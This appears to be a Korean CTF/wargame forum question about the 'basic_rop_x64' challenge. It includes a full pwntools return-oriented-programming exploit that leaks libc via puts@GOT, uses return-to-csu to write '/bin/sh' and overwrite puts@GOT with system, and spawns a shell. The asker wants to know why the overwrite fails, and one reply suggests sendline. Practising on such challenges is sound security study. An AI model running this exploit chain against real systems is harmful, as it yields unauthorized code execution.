got overwrite를 하는데 이상한 값이 덮어써집니다.
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
context.log_level = 'debug'
p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
write_got = e.got['write']
pop_rdi = 0x0000000000400883
bss = e.bss()
rtc1 = 0x0000000000400876
rtc2 = 0x0000000000400860
payload = b'a'*0x40 + b'b'*0x8
# puts(puts_got)
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
# read(0, .bss, 0x10)
payload += p64(rtc1)
payload += b'a'*0x8
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(read_got) #r12
payload += p64(0) #r13 -> edi
payload += p64(bss) #r14 -> rsi
payload += p64(0x10) #r15 -> rdx
payload += p64(rtc2)
# read(0, puts_got, 0x10)
payload += b'a'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(puts_got)
payload += p64(0x10)
payload += p64(rtc2)
# puts('/bin/sh') == system('/bin/sh')
payload += b'a'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(puts_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(rtc2)
pause()
p.send(payload)
p.recvuntil("a"*0x40)
puts = u64(p.recvn(6) + b'\x00'*2)
lb = puts - libc.symbols["puts"]
system = lb + libc.symbols["system"]
slog("puts", puts)
slog("lb", lb)
slog("system", system)
p.send(b'/bin/sh\00')
p.send(p64(system))
p.interactive()
libc의 베이스 주소를 구한 후 return to csu 방법으로 bss영역에 'bin/sh\x00'을 입력하고 puts의 got를 system의 주소로 덮어서 puts를 실행하여 system을 실행하고자 위의 코드를 짰습니다. (이건 제출용은 아니고 일단 로컬에서만 돌려보려고 문제파일 복붙해서 새로 컴파일했습니다.)
그런데 계속 오류가 나서 gdb attach해서 디버깅을 했는데 puts_got를 출력해서 이를 읽어오는 것과 bss에 '/bin/sh\x00'을 입력하는 것까지는 제대로 동작하는걸 확인했으나, puts의 got에 system의 주소를 덮어쓰는 부분에서 뭔가 문제가 생겼습니다.
위 사진에 나온 부분이 read를 실행하여 puts의 got에 system의 주소를 덮어쓰는 부분입니다. 이 부분 이후에 0x601018에 system의 주소가 있어야하는데
위 사진처럼 popen이라는 이상한 친구가 들어있는겁니다. system주소로 덮는 과정에서 저 값이 바뀌는 이유를 모르겠습니다.
#pwnable
작성자 정보
답변
1
믕믕이부하
대표 업적 없음
여러가지 가능성이 있습니다만 일단 한번 p.sendline()으로 보내보시기 바랍니다.